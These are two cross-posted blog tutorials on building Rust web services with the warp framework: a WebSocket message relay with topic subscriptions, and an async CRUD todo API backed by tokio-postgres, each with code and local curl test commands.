In a previous post, we covered creating an async CRUD web service in Rust using warp. However, another cool thing about warp is that it supports WebSockets. This tutorial will demonstrate how to build a basic message relay service in Rust that clients can connect to via WebSockets.

After a client registers with their user_id, they get a unique connection ID they can use to connect via WebSockets. They are then able to receive real-time messages, which are published on the service. Clients can also communicate topics they are interested in via the WebSocket connection. For example, if they subscribe to the topics cats and dogs, they’ll only get published messages tagged with those topics. Published messages can be addressed directly to a specific user_id or broadcast to all users. Let’s get started, shall we?

What is WebSocket?

WebSocket is an advanced API that allows two-way communication between the client’s web browser and server. This allows the server to communicate with clients in real time without forcing the client to poll the server for updates. Using Rust to build the WebSocket server enables the server to handle a large number of connections without compromising speed. This is because of Rust’s reliability and speed.

Benefits of building a WebSocket server with Rust

A WebSocket server needs a large amount of memory to maintain active connections. Luckily, Rust’s efficient memory management makes it a good choice for WebSocket servers. Because most of the message passing is event-driven, Rust’s async/await support makes the most efficient use of CPU time to increase application performance and throughput. Rust also provides a robust type system, a large set of production-grade WebSocket implementations, and predictable performance.

Building a WebSocket server with Rust

All you need is a reasonably recent Rust installation (v1.39+) to follow along. You will also need a tool to test WebSockets connections, such as websocat, and a tool to send HTTP requests, such as curl or Postman. First, create a new Rust project with the following command:

cargo new warp-ws-example
cd warp-ws-example

Next, edit the Cargo.toml file and add the dependencies you’ll need, as shown below:

[dependencies]
tokio = { version = "1.28", features = ["macros", "sync", "rt-multi-thread"] }
tokio-stream = "0.1.14"
warp = "0.3"
serde = {version = "1.0", features = ["derive"] }
serde_json = "1.0"
futures = { version = "0.3", default-features = false }
uuid = { version = "1.1.2", features = ["serde", "v4"] }

Nothing is shocking here. We need warp and tokio to run the web server and serde_json to serialize and deserialize JSON. The uuid crate will be used to create unique connection IDs, and futures crate will be helpful when dealing with the asynchronous data streams of the WebSocket.

Understanding the data structures

Before we get started, let’s look at some of the data structures we’ll use to get some more context. First of all, the Client is at the core of this application. Here’s what that looks like:

pub struct Client {
    pub user_id: usize,
    pub topics: Vec<String>,
    pub sender: Option<mpsc::UnboundedSender<std::result::Result<Message, warp::Error>>>,
}

There is a difference between a client and a user in this case. A user can have several clients — think of the same user connecting to the API using a mobile app and a web app, for example. Clients have a user_id, a list of topics they’re interested in, and a sender. This sender sends part of an MPSC (multiple producers, single consumer) channel.

We’ll get to the sender later on, but suffice it to say for now that it’s used to send messages to this connected client via WebSockets. The following data structures are used in the REST API to register users and broadcast events:

#[derive(serde::Deserialize, serde::Serialize)]
pub struct RegisterRequest {
    user_id: usize,
}

#[derive(serde::Deserialize, serde::Serialize)]
pub struct RegisterResponse {
    url: String,
}

#[derive(serde::Deserialize, serde::Serialize)]
pub struct Event {
    topic: String,
    user_id: Option<usize>,
    message: String,
}

These are not particularly interesting. As mentioned above, events are tagged with a specific topic and can be addressed directly to a user, in which case the user_id will be set explicitly. Last but not least, we need a way for clients to communicate the topics they’re interested in. If they don’t set the topics explicitly, they’ll be defaulted to cats — because who doesn’t love those? Here’s what the code looks like:

#[derive(serde::Deserialize, serde::Serialize)]
pub struct TopicsRequest {
    topics: Vec<String>,
}

Getting the server up and running

Now that you have a mental model of what we’ll build, let’s start by spinning up a warp web server with all the needed routes:

mod handler;
mod ws;

type Result<T> = std::result::Result<T, Rejection>;
type Clients = Arc<Mutex<HashMap<String, Client>>>;

#[tokio::main]
async fn main() {
  let clients: Clients = Arc::new(Mutex::new(HashMap::new()));

  let health_route = warp::path!("health").and_then(handler::health_handler);

  let register = warp::path("register");
  let register_routes = register
    .and(warp::post())
    .and(warp::body::json())
    .and(with_clients(clients.clone()))
    .and_then(handler::register_handler)
    .or(register
      .and(warp::delete())
      .and(warp::path::param())
      .and(with_clients(clients.clone()))
      .and_then(handler::unregister_handler));

  let publish = warp::path!("publish")
    .and(warp::body::json())
    .and(with_clients(clients.clone()))
    .and_then(handler::publish_handler);

  let ws_route = warp::path("ws")
    .and(warp::ws())
    .and(warp::path::param())
    .and(with_clients(clients.clone()))
    .and_then(handler::ws_handler);

  let routes = health_route
    .or(register_routes)
    .or(ws_route)
    .or(publish)
    .with(warp::cors().allow_any_origin());

  warp::serve(routes).run(([127, 0, 0, 1], 8000)).await;
}

fn with_clients(clients: Clients) -> impl Filter<Extract = (Clients,), Error = Infallible> + Clone {
  warp::any().map(move || clients.clone())
}

That’s quite a bit of code. Let’s go through it step by step. As mentioned above, we want clients to connect via WebSockets to our service. To accommodate this, we need a way to keep track of these clients within the service. We can solve this in many ways, but in this simple case, we’ll keep them around in memory — specifically, within a HashMap.

However, because this collection of clients needs to be accessed and mutated by several actors throughout the system (e.g., registering new clients, sending messages, updating topics, and more), we need to ensure it can be safely passed around between threads and avoid data race.

That’s why the Clients types are the first thing we defined above — an Arc<Mutex<HashMap<String, Client>>>. This type may look scary, but essentially, we want the map of connection IDs for clients behind a Mutex so a single writer can only mutate it. To safely pass it to other threads, we wrap it into an Arc, an atomic smart pointer type that provides shared ownership by keeping a count of readers. So far, so good. In the main function, this Clients data structure is initialized, followed by a handful of route definitions:

GET /health: Indicates if the service is up
POST /register: Registers clients in the application
DELETE /register/{client_id}: Unregisters the client with an ID
POST /publish: Broadcasts an event to clients
GET /ws: The WebSocket endpoint

The with_clients filter is created to pass the clients into these routes. This clones and passes a pointer to the clients into the routes using them. Besides, all handlers (except the WebSockets one) are pretty basic. For the /ws route, the warp::ws() filter is used, which makes it possible to upgrade the connection to a WebSocket connection in the handler. At the end of main, the routes are combined into a router with CORS support, and the server is started on port 8000.

Registering clients

Now that the server is set up, let’s look at the handlers for the routes defined above, starting with client registration. To make the code a bit nicer to read, let’s put the handlers into a different file called handler.rs. Let’s start with registering a new client, where a JSON body with a user_id is sent to the service, like so:

pub async fn register_handler(body: RegisterRequest, clients: Clients) -> Result<impl Reply> {
  let user_id = body.user_id;
  let uuid = Uuid::new_v4().simple().to_string();

  register_client(uuid.clone(), user_id, clients).await;
  Ok(json(&RegisterResponse {
    url: format!("ws://127.0.0.1:8000/ws/{}", uuid),
  }))
}

async fn register_client(id: String, user_id: usize, clients: Clients) {
  clients.lock().await.insert(
    id,
    Client {
      user_id,
      topics: vec![String::from("cats")],
      sender: None,
    },
  );
}

pub fn health_handler() -> impl Future<Output = Result<impl Reply>> {
    futures::future::ready(Ok(StatusCode::OK))
}

The process of registering a new client is simple. First, a new uuid is created. This ID creates a new Client with an empty sender, the user’s ID, and default topics. These are simply added to the client’s data structure, returning a WebSocket URL with the uuid to the user. The user can connect the client via WebSockets with this URL.

To add the newly created client to the shared client structure, we need to lock() the Mutex. Since we’re using tokio’s asynchronous Mutex in this case, this is a future and should, therefore, be awaited. After the lock is acquired, simply insert() the new client into the underlying HashMap. Once the lock goes out of scope, it’s dropped, and others can access the data structure again. Great! We can call the register endpoint like this:

curl -X POST 'http://localhost:8000/register' -H 'Content-Type: application/json' -d '{ "user_id": 1 }'
{"url":"ws://127.0.0.1:8000/ws/625ac78b88e047a1bc7b3f8459702078"}

Unregistering clients is even easier. Check it out:

pub async fn unregister_handler(id: String, clients: Clients) -> Result<impl Reply> {
  clients.lock().await.remove(&id);
  Ok(StatusCode::OK)
}

The client with the given ID (the above-generated uuid) is simply removed from the Clients data structure. You might ask yourself, “What happens if you’re already connected via WebSockets using this ID?” They’re simply disconnected, and everything is closed and cleaned up on the side of the service.

This works because removing the Client makes it go out of scope, which means it gets dropped. This, in turn, drops the sending side of the channel within the client, which closes the channel and triggers an error. As we’ll see later on, this is a signal we can use to close the connection on our side. Calling unregister works like this:

curl -X DELETE 'http://localhost:8000/register/e2fa90682255472b9221709566dbceba'

Connecting via WebSocket

Now that clients can register and unregister, it’s time to let them connect to our real-time WebSocket endpoint. Let’s start with the handler, as shown below:

pub async fn ws_handler(ws: warp::ws::Ws, id: String, clients: Clients) -> Result<impl Reply> {
  let client = clients.lock().await.get(&id).cloned();
  match client {
    Some(c) => Ok(ws.on_upgrade(move |socket| ws::client_connection(socket, id, clients, c))),
    None => Err(warp::reject::not_found()),
  }
}

First, the given client ID is checked against the Clients data structure. If no such client exists, a 404 error is returned. If a client is found, ws.on_upgrade() is used to upgrade the connection to a WebSocket connection, where the ws::client_connection function is called, like so:

pub async fn client_connection(ws: WebSocket, id: String, clients: Clients, mut client: Client) {
    let (client_ws_sender, mut client_ws_rcv) = ws.split();
    let (client_sender, client_rcv) = mpsc::unbounded_channel();

    let client_rcv = UnboundedReceiverStream::new(client_rcv);
    tokio::task::spawn(client_rcv.forward(client_ws_sender).map(|result| {
        if let Err(e) = result {
            eprintln!("error sending websocket msg: {}", e);
        }
    }));

This is the core part of the WebSockets logic, so let’s go through it slowly. The function gets a warp::ws::WebSocket passed into it by the warp::ws filter. You can loosely consider this the upgraded WebSocket connection and an asynchronous Stream and Sink. The split() function of futures::StreamExt splits this up into a stream and a sink, which can be considered a sender and a receiver.

Next, create an unbounded MPSC channel to send messages to the client. Also, if you remember the sender on the Client object, the client_sender is exactly this sender part of the channel. The next step is to spawn a tokio task in which the messages sent to the receiver part of the client (client_rcv) are propagated to the sender part of the WebSocket stream (client_ws_sender) using futures::StreamExt::forward().

If sending the message fails, we log the error. In a different scenario, closing the connection at this point could also be feasible, depending on the error. The next step is to update the client with the newly created sender, like this:

client.sender = Some(client_sender);
clients.lock().await.insert(id.clone(), client);

println!("{} connected", id);

The passed-in client gets the sender part of the sending channel, and the data structure is updated. From now on, if someone sends anything to this sender end of the channel, it will be forwarded to the client via WebSocket, so we log the client as connected.

Now, we can send to a connected client, but we also want to be able to receive data on the WebSocket. First of all, the client should be able to send us pings to check if the connection is healthy, but we also want to enable clients to change their preferred topics via WebSocket. Here’s the code:

while let Some(result) = client_ws_rcv.next().await {
  let msg = match result {
    Ok(msg) => msg,
    Err(e) => {
      eprintln!("error receiving ws message for id: {}): {}", id.clone(), e);
      break;
      }
  };
  client_msg(&id, msg, &clients).await;
}

clients.lock().await.remove(&id);
  println!("{} disconnected", id);
}

To receive messages from the WebSocket, we can use the receiver end (Stream) of the WebSocket. Like any other async stream, we can simply wait for values using .next().await in a loop. When a message is received, that message is forwarded to the client_msg function, which we’ll look at next.

But, maybe more interestingly, if an error happens, that error is logged, and we break out of the loop, which leads to the end of the function. The only way to get here is if there is an error. In that case, we want to close the connection and remove the client from the shared data structure.

This is also where we’ll end up if a client is unregistered with a running connection. The only difference is that the client will already have been removed, triggering the error on the connection. To finish the WebSockets part, let’s look at the client_msg function, which deals with incoming messages from the client:

async fn client_msg(id: &str, msg: Message, clients: &Clients) {
  println!("received message from {}: {:?}", id, msg);
  let message = match msg.to_str() {
    Ok(v) => v,
    Err(_) => return,
  };

  if message == "ping" || message == "ping\n" {
    return;
  }

  let topics_req: TopicsRequest = match from_str(&message) {
    Ok(v) => v,
    Err(e) => {
      eprintln!("error while parsing message to topics request: {}", e);
      return;
    }
  };

  let mut locked = clients.lock().await;
  match locked.get_mut(id) {
    Some(v) => {
      v.topics = topics_req.topics;
    }
    None => return,
  };
}

First, the incoming message is logged, giving us a way to see what is coming in for testing. Next, the message is converted to a string. If it can’t be, we bail since we’re only interested in string messages. As mentioned earlier, clients should be able to send us pings, so if the message is ping, we simply return. We could also send back a pong or whatever we want to use in this case.

The other kind of messages we’re interested in are TopicsRequests, which are sent when a client wants to change their preferred topics. To do that, the client has to send some JSON to the WebSocket, which is then parsed to a list of topics. This list is then updated within the client’s data structure.

From then on, the client will only get messages according to their new topic preferences. Nice! WebSockets are now available for clients in the service. To test this, you can use a tool such as websocat like this:

websocat -t ws://127.0.0.1:8000/ws/2fd7f6e2e3294057b714c6c1c5aa827d
{ "topics": ["cats", "dogs"] }

Relaying messages to clients

Almost done! The only piece of the puzzle we’re still missing is the ability to broadcast messages to connected clients. This is done using the /publish endpoint, as shown below:

pub async fn publish_handler(body: Event, clients: Clients) -> Result<impl Reply> {
  clients
    .lock()
    .await
    .iter_mut()
    .filter(|(_, client)| match body.user_id {
      Some(v) => client.user_id == v,
      None => true,
    })
    .filter(|(_, client)| client.topics.contains(&body.topic))
    .for_each(|(_, client)| {
      if let Some(sender) = &client.sender {
        let _ = sender.send(Ok(Message::text(body.message.clone())));
      }
    });

  Ok(StatusCode::OK)
}

When anyone wants to broadcast a message to clients, we have to iterate the client’s data structure if a user_id is set, filtering out all clients that are not the specified user. We’re only interested in clients that are subscribed to the topic of the message. We use each client’s sender to transmit the message down the pipeline. The publishing endpoint can be called like this:

curl -X POST 'http://localhost:8000/publish' \
-H 'Content-Type: application/json' \
-d '{"user_id": 1, "topic": "cats", "message": "are awesome"}'

This message will be sent to the connected clients with a user_id of 1, subscribed to the topic cats. Perfect! Everything we set out to build is done and works nicely. You can find the complete code for this example on GitHub.

Converting `Mutex` to `RwLock`

Since there are multiple only-read operations on Clients, this data access pattern is optimized using a RwLock; that allows multiple readers simultaneously, i.e., multiple threads can read Clients in parallel. Using RwLock will reduce the application’s latency by reducing the time handlers wait for exclusive access to Clients, even if the handler only needs read access.

Conclusion

WebSockets are fantastic, both for interactive, real-time web experiences and in combination with REST APIs to update the UI without the need for clients to poll for changes. Warp makes WebSockets easy to use, with the caveat that depending on the use case, some background knowledge of asynchronous streams and concurrency in Rust is required. But, since those are very useful skills within the area of Rust web development in general, that seems reasonable enough.

Create an async CRUD web service in Rust with warp

09 May 2023 00:00 +0000

This post was originally posted on the LogRocket blog on 24.04.2023 and was cross-posted here by the author.

In a previous post on this blog, we covered how to create a Rust web service using Actix and Diesel. This time around, we’ll create a lightweight, fully asynchronous web service using the warp web framework and tokio-postgres. Let’s get started.

What is warp?

Warp is a lightweight Rust-based web framework that is both fast and secure. Warp is based on the well-known and battle-tested hyper HTTP library, which provides a robust and very fast basis for most Rust web frameworks.

Why use warp in Rust?

Some of the key strengths of warp are its asynchronous request handling, powerful and flexible routing, and filtering capabilities, which allow developers to easily handle complex routing scenarios. Essentially, filters are just functions that can be composed together. In warp, they’re used for everything from routing to middleware to passing values to handlers. You can check out warp’s release post for a deeper dive.

Another interesting feature of Warp is its built-in support for WebSockets, which makes it easy to build real-time web applications. Even though warp is a newer framework compared to Rocket and Actix Web — which are the most popular Rust web frameworks — it has an active community and has over 8,000+ stars on GitHub. Warp is easy to use, even for building large-scale applications. Let’s get our hands dirty with some practicals to better understand how warp works.

Getting started with warp

Let’s start by setting up a warp project. To follow along, all you need is a reasonably recent Rust installation (v1.39+) and a way to run a PostgreSQL database (e.g., Docker). First, create your test project like this:

cargo new warp-example
cd warp-example

Next, edit the Cargo.toml file and add the dependencies you’ll need, as shown below:

[dependencies]
tokio = { version = "0.2", features = ["macros"] }
warp = "0.2"
mobc-postgres = { version = "0.5", features = ["with-chrono-0_4"] }
mobc = "0.5"
serde = {version = "1.0", features = ["derive"] }
serde_derive = "1.0"
serde_json = "1.0"
thiserror = "1.0"
chrono = { version = "0.4", features = ["serde"] }

In case you’re wondering what all of this means, refer to this code:

tokio is our async runtime, which we need to execute futures
warp is our web framework
mobc / mobc-postgres represents an asynchronous connection pool for our database connections
serde is for serializing and deserializing objects (e.g., to/from JSON)
thiserror is a utility library we’ll use for error handling
chrono represents time and date utilities

To avoid just dumping everything into one file, let’s add a bit of structure to main.rs:

mod data;
mod db;
mod error;
mod handler;

For each of these modules, we’ll also create a file (e.g., data.rs). For the first step, create a web server running on port 8000 with a /health endpoint that returns a 200 OK. In main.rs, add:

use warp::{http::StatusCode, Filter};

#[tokio::main]
async fn main() {
    let health_route = warp::path!("health")
        .map(|| StatusCode::OK);
    let routes = health_route
        .with(warp::cors().allow_any_origin());
    warp::serve(routes).run(([127, 0, 0, 1], 8000)).await;
}

In the above snippet, we defined our health_route, which matches on GET /health and returns 200 OK. Then, to demonstrate how to add middleware, set up this route with the warp::cors middleware, which allows the service to be called from any origin.

To finish setting up the server, use warp::serve along with the routes as parameters, and then use the .run() method to begin running the server on port 8000. Test whether it works by starting the application using cargo run and cURL, as shown below:

curl http://localhost:8000/health

Here is a Postman example showing that it actually worked:

Connecting the web service to a database

So far, so good! The next step is to set up your Postgres database and add a check for a working database connection in the /health handler. To start a Postgres database, you can either use Docker or a local Postgres installation. With Docker, you can simply execute — you must have Docker all set up before running the code below:

docker run -p 7878:5432 -d postgres:15.2

This command starts a Postgres database on port 7878 with user postgres, database postgres, and no password. Now that you have a running database, the next step is to talk to this database from your warp application. To do so, you can use mobc, an async connection pool, to spawn multiple database connections and reuse them between requests. Setting this up only takes a couple of lines. First, define some convenience types in main.rs:

use mobc::{Connection, Pool};
use mobc_postgres::{tokio_postgres, PgConnectionManager};
use tokio_postgres::NoTls;

type DBCon = Connection<PgConnectionManager<NoTls>>;
type DBPool = Pool<PgConnectionManager<NoTls>>;

Next, create your connection pool in db.rs:

use crate::{DBCon, DBPool};
use mobc_postgres::{tokio_postgres, PgConnectionManager};
use tokio_postgres::{Config, Error, NoTls};
use std::fs;
use std::str::FromStr;
use std::time::Duration;

const DB_POOL_MAX_OPEN: u64 = 32;
const DB_POOL_MAX_IDLE: u64 = 8;
const DB_POOL_TIMEOUT_SECONDS: u64 = 15;

pub fn create_pool() -> std::result::Result<DBPool, mobc::Error<Error>> {
    let config = Config::from_str("postgres://postgres@127.0.0.1:7878/postgres")?;

    let manager = PgConnectionManager::new(config, NoTls);
    Ok(Pool::builder()
            .max_open(DB_POOL_MAX_OPEN)
            .max_idle(DB_POOL_MAX_IDLE)
            .get_timeout(Some(Duration::from_secs(DB_POOL_TIMEOUT_SECONDS)))
            .build(manager))
}

The create_pool function simply creates a Postgres connection string and defines some parameters for the connection pool, such as minimum and maximum open connections, as well as a connection timeout.

The next step is to simply build the pool and return it. At this point, no database connection is actually created, just the pool. Since we’re already here, let’s also create a function for initializing the database on startup:

const INIT_SQL: &str = "./db.sql";

pub async fn get_db_con(db_pool: &DBPool) -> Result<DBCon> {
    db_pool.get().await.map_err(DBPoolError)
}

pub async fn init_db(db_pool: &DBPool) -> Result<()> {
    let init_file = fs::read_to_string(INIT_SQL)?;
    let con = get_db_con(db_pool).await?;
    con
            .batch_execute(init_file.as_str())
            .await
            .map_err(DBInitError)?;
    Ok(())
}

With the get_db_con utility, we tried to get a new database connection from the pool. Don’t worry about the error right now — we’ll talk about error handling later on. To create a database table from the db.sql file on startup, the init_db function is called. This reads the file into a string and executes the query. The init query looks like this:

CREATE TABLE IF NOT EXISTS todo
(
    id SERIAL PRIMARY KEY NOT NULL,
    name VARCHAR(255),
    created_at timestamp with time zone DEFAULT (now() at time zone 'utc'),
    checked boolean DEFAULT false
);

Back in our main function, we can now call our database setup functions, like this:

let db_pool = db::create_pool().expect("database pool can be created");

db::init_db(&db_pool)
    .await
    .expect("database can be initialized");

If any of the database setup codes fail, we can throw our hands up and panic because it won’t make sense to continue. Assuming it doesn’t fail, it’s finally time to tackle the primary goal of this section: to add a database check to the /health handler.

Adding a database check to the `/health` handler

To do this, we need a way to pass the db_pool to the handler. This is a perfect opportunity to write our first warp filter. In main.rs, add the following with_db filter:

use std::convert::Infallible;
use warp::{Filter, Rejection};

fn with_db(db_pool: DBPool) -> impl Filter<Extract = (DBPool,), Error = Infallible> + Clone {
    warp::any().map(move || db_pool.clone())
}

This is a simple extract filter. The above means that for any route (any()), you want to extract a DBPool and pass it along. If you’re interested in learning more about filters, the docs are quite helpful. The filter is then simply added to the handler definition with the .and() operator:

let health_route = warp::path!("health")
  .and(with_db(db_pool.clone()))
  .and_then(handler::health_handler);

Move the health handler to the handler.rs file and add the database check, like so:

use crate::{db, DBPool};
use warp::{http::StatusCode, reject, Reply, Rejection};

pub async fn health_handler(db_pool: DBPool) -> std::result::Result<impl Reply, Rejection> {
    let db = db::get_db_con(&db_pool)
            .await
            .map_err(|e| reject::custom(e))?;

    db.execute("SELECT 1", &[])
            .await
            .map_err(|e| reject::custom(DBQueryError(e)))?;
    Ok(StatusCode::OK)
}

Now, the handler receives a DBPool, which you can use to get a connection and initiate a sanity check query against the database. If an error occurs during the check, use reject::custom to return a custom error. Next, as promised, let’s take a look at error handling with warp.

Handling errors with warp

Clean error handling is one of the most important and often overlooked things in any web application. The goal is to provide helpful errors to API consumers while not leaking internal details. We’ll use the thiserror library to conveniently create custom errors. Start in error.rs and define an Error enum, which has a variant for all of your errors. Here’s the code:

use mobc_postgres::tokio_postgres;
use thiserror::Error;

#[derive(Error, Debug)]
pub enum Error {
    #[error("error getting connection from DB pool: {0}")]
    DBPoolError(mobc::Error<tokio_postgres::Error>),
    #[error("error executing DB query: {0}")]
    DBQueryError(#[from] tokio_postgres::Error),
    #[error("error creating table: {0}")]
    DBInitError(tokio_postgres::Error),
    #[error("error reading file: {0}")]
    ReadFileError(#[from] std::io::Error),
}

If we could find a way to transform these and other errors into meaningful API responses, we could simply return one of our custom errors from a handler, and the caller would automatically get the correct error message and status code.

To do this, we’ll use warp’s concept of rejections. First, add a convenience type to main.rs for fallible results:

type Result<T> = std::result::Result<T, warp::Rejection>;

Next, make sure your custom errors are recognized as rejections by warp by implementing the Reject trait:

impl warp::reject::Reject for Error {}

Define a rejection handler, which turns rejections into nice error responses in the following form, like so:

#[derive(Serialize)]
struct ErrorResponse {
    message: String,
}

Such a rejection handler might look like this:

pub async fn handle_rejection(err: Rejection) -> std::result::Result<impl Reply, Infallible> {
    let code;
    let message;

    if err.is_not_found() {
            code = StatusCode::NOT_FOUND;
            message = "Not Found";
    } else if let Some(_) = err.find::<warp::filters::body::BodyDeserializeError>() {
            code = StatusCode::BAD_REQUEST;
            message = "Invalid Body";
    } else if let Some(e) = err.find::<Error>() {
            match e {
                Error::DBQueryError(_) => {
                    code = StatusCode::BAD_REQUEST;
                    message = "Could not Execute request";
                }
                _ => {
                    eprintln!("unhandled application error: {:?}", err);
                    code = StatusCode::INTERNAL_SERVER_ERROR;
                    message = "Internal Server Error";
                }
            }
    } else if let Some(_) = err.find::<warp::reject::MethodNotAllowed>() {
            code = StatusCode::METHOD_NOT_ALLOWED;
            message = "Method Not Allowed";
    } else {
            eprintln!("unhandled error: {:?}", err);
            code = StatusCode::INTERNAL_SERVER_ERROR;
            message = "Internal Server Error";
    }

    let json = warp::reply::json(&ErrorResponse {
            message: message.into(),
    });

    Ok(warp::reply::with_status(json, code))
}

Basically, we get a Rejection from a handler. Then, depending on the type of error, we set the message and status code for the response. As you can see, we can handle both generic errors, such as not found, and specific problems, such as an error encountered while parsing the JSON body of a request.

The fallback handlers return a generic 500 error to the user and log what went wrong, so you can investigate if necessary without leaking internals. In the routing definition, simply add this error handler using the recover filter:

let routes = health_route
    .with(warp::cors().allow_any_origin())
    .recover(error::handle_rejection);

Perfect! We’ve made a lot of progress already. All that’s left is to actually implement CRUD handlers for your to-do app.

Implementing the CRUD API

What is CRUD, you asked? CRUD is a term used to describe a group of operations that are commonly used to manage data in a database. The acronym stands for Create, Read, Update, and Delete, which pretty much sums up what these operations are all about.

When we talk about the CRUD API, we’re referring to a set of endpoints that allow users to carry out these operations on a particular resource or a group of resources. Essentially, it’s a way to define how a user can create new entries, read data that’s already been entered, edit or update existing entries, and delete entries from the database.

Now, we have a web server running and connected to a database as well as a way to handle errors gracefully. The only thing missing from our app is, well, the actual CRUD application logic. We’ll implement the endpoint to create, update, delete, and get todos:

GET /todo/?search={searchString} to list all todos, filtered by an optional search string
POST /todo/ to create a todo
PUT /todo/{id} to update the todo with the given ID
DELETE /todo/{id} to delete the todo with the given ID

Creating `todos`

The first step is to create todos because without them, we won’t be able to test the other endpoints conveniently. In db.rs, add a function for inserting todos into the database:

const TABLE: &str = "todo";

pub async fn create_todo(db_pool: &DBPool, body: TodoRequest) -> Result<Todo> {
    let con = get_db_con(db_pool).await?;
    let query = format!("INSERT INTO {} (name) VALUES ($1) RETURNING *", TABLE);
    let row = con
            .query_one(query.as_str(), &[&body.name])
            .await
            .map_err(DBQueryError)?;
    Ok(row_to_todo(&row))
}

fn row_to_todo(row: &Row) -> Todo {
    let id: i32 = row.get(0);
    let name: String = row.get(1);
    let created_at: DateTime<Utc> = row.get(2);
    let checked: bool = row.get(3);
    Todo {
            id,
            name,
            created_at,
            checked,
    }
}

This establishes a connection from the pool, sends an insert query, and transforms the returned row to a Todo. For this to work, you’ll need some data objects, which are defined in data.rs:

use chrono::prelude::*;
use serde_derive::{Deserialize, Serialize};

#[derive(Deserialize)]
pub struct Todo {
    pub id: i32,
    pub name: String,
    pub created_at: DateTime<Utc>,
    pub checked: bool,
}

#[derive(Deserialize)]
pub struct TodoRequest {
    pub name: String,
}

#[derive(Deserialize)]
pub struct TodoUpdateRequest {
    pub name: String,
    pub checked: bool,
}

#[derive(Serialize)]
pub struct TodoResponse {
    pub id: i32,
    pub name: String,
    pub checked: bool,
}

impl TodoResponse {
    pub fn of(todo: Todo) -> TodoResponse {
            TodoResponse {
                id: todo.id,
                name: todo.name,
                checked: todo.checked,
            }
    }
}

Building handlers

The Todo struct is essentially a mirror of your database table. tokio-postgres can use chrono’s DateTime<Utc> to map to and from timestamps. The other structs are the JSON requests you expect for creating and updating a todo and the response you send back in your list, update, and create handlers. You can now create your actual create handler in handler.rs:

pub async fn create_todo_handler(body: TodoRequest, db_pool: DBPool) -> Result<impl Reply> {
    Ok(json(&TodoResponse::of(
        db::create_todo(&db_pool, body)
            .await
            .map_err(|e| reject::custom(e))?,
    )))
}

In this case, you get both the request body parsed to a TodoRequest and the db_pool passed into the handler. Once in there, simply call the database function, map it to a TodoResponse, and use warp’s reply::json helper to serialize it to JSON.

If an error happens, handle it with warp’s reject::custom, which enables you to create a rejection out of our custom error type. The only thing missing is the routing definition in main.rs:

let todo = warp::path("todo");
let todo_routes = todo
        .and(warp::post())
        .and(warp::body::json())
        .and(with_db(db_pool.clone()))
        .and_then(handler::create_todo_handler));

let routes = health_route
    .or(todo_routes)
    .with(warp::cors().allow_any_origin())
    .recover(error::handle_rejection);

You’ll use warp::path at /todo/ for several routes. Then, using warp’s filters, compose your create handler. Add the post method, specify that you expect a JSON body, and use your with_db filter to signal that you need database access. Finally, finish it up by telling the route which handler to use. All of that is then passed to the routes with an or operator. Test it with the following command:

curl -X POST 'http://localhost:8000/todo/' -H 'Content-Type: application/json' -d '{"name": "Some Todo"}'

{"id":1,"name":"Some Todo","checked":false}

Great! Now that you know how it works, you can do the other three handlers all at once. Again, start by adding the database helpers:

const SELECT_FIELDS: &str = "id, name, created_at, checked";

pub async fn fetch_todos(db_pool: &DBPool, search: Option<String>) -> Result<Vec<Todo>> {
    let con = get_db_con(db_pool).await?;
    let where_clause = match search {
            Some(_) => "WHERE name like $1",
            None => "",
    };
    let query = format!(
            "SELECT {} FROM {} {} ORDER BY created_at DESC",
            SELECT_FIELDS, TABLE, where_clause
    );
    let q = match search {
            Some(v) => con.query(query.as_str(), &[&v]).await,
            None => con.query(query.as_str(), &[]).await,
    };
    let rows = q.map_err(DBQueryError)?;

    Ok(rows.iter().map(|r| row_to_todo(&r)).collect())
}

pub async fn update_todo(db_pool: &DBPool, id: i32, body: TodoUpdateRequest) -> Result<Todo> {
    let con = get_db_con(db_pool).await?;
    let query = format!(
            "UPDATE {} SET name = $1, checked = $2 WHERE id = $3 RETURNING *",
            TABLE
    );
    let row = con
            .query_one(query.as_str(), &[&body.name, &body.checked, &id])
            .await
            .map_err(DBQueryError)?;
    Ok(row_to_todo(&row))
}

pub async fn delete_todo(db_pool: &DBPool, id: i32) -> Result<u64> {
    let con = get_db_con(db_pool).await?;
    let query = format!("DELETE FROM {} WHERE id = $1", TABLE);
    con.execute(query.as_str(), &[&id])
            .await
            .map_err(DBQueryError)
}

These are essentially the same as in the create case, except for fetch_todos, where you’d create a different query if there is a search term. Let’s look at the handlers next:

#[derive(Deserialize)]
pub struct SearchQuery {
    search: Option<String>,
}

pub async fn list_todos_handler(query: SearchQuery, db_pool: DBPool) -> Result<impl Reply> {
    let todos = db::fetch_todos(&db_pool, query.search)
            .await
            .map_err(|e| reject::custom(e))?;
    Ok(json::<Vec<_>>(
            &todos.into_iter().map(|t| TodoResponse::of(t)).collect(),
    ))
}

pub async fn update_todo_handler(
    id: i32,
    body: TodoUpdateRequest,
    db_pool: DBPool,
) -> Result<impl Reply> {
    Ok(json(&TodoResponse::of(
        db::update_todo(&db_pool, id, body)
            .await
            .map_err(|e| reject::custom(e))?,
    )))
}

pub async fn delete_todo_handler(id: i32, db_pool: DBPool) -> Result<impl Reply> {
    db::delete_todo(&db_pool, id)
            .await
            .map_err(|e| reject::custom(e))?;
    Ok(StatusCode::OK)
}

Again, you’ll see some familiar things. Every handler calls the database layer, handles the error, and creates a return value for the caller if everything goes well. The one interesting exception is list_todos_handler, where the aforementioned query parameter is passed in, already parsed to a SearchQuery.

Testing the API

This is how you deal with query parameters in warp. If you had more parameters with different types, you could simply add them to the SearchQuery struct, and they would be automatically parsed. Let’s wire everything up and do one final test, like this:

let todo_routes = todo
        .and(warp::get())
        .and(warp::query())
        .and(with_db(db_pool.clone()))
        .and_then(handler::list_todos_handler)
    .or(todo
            .and(warp::post())
            .and(warp::body::json())
            .and(with_db(db_pool.clone()))
            .and_then(handler::create_todo_handler))
    .or(todo
            .and(warp::put())
            .and(warp::path::param())
            .and(warp::body::json())
            .and(with_db(db_pool.clone()))
            .and_then(handler::update_todo_handler))
    .or(todo
            .and(warp::delete())
            .and(warp::path::param())
            .and(with_db(db_pool.clone()))
            .and_then(handler::delete_todo_handler));

There are some new things here. To get the query parameter to the list handler, you need to use warp::query(). To get the id parameter for update and delete, use warp::path::param(). Combine the different routes with or operators, and your todo routes are set up.

There are many different ways to create and structure routes in warp. It’s just functions being composed together, so the process is very flexible. For more examples, check out the official docs. Now, let’s test the whole thing. First, see if the error handling actually works:

curl -v -X POST 'http://localhost:8000/todo/' -H 'Content-Type: application/json' -d '{"wrong": "Some Todo"}'

HTTP/1.1 400 Bad Request
{"message":"Invalid Body"}

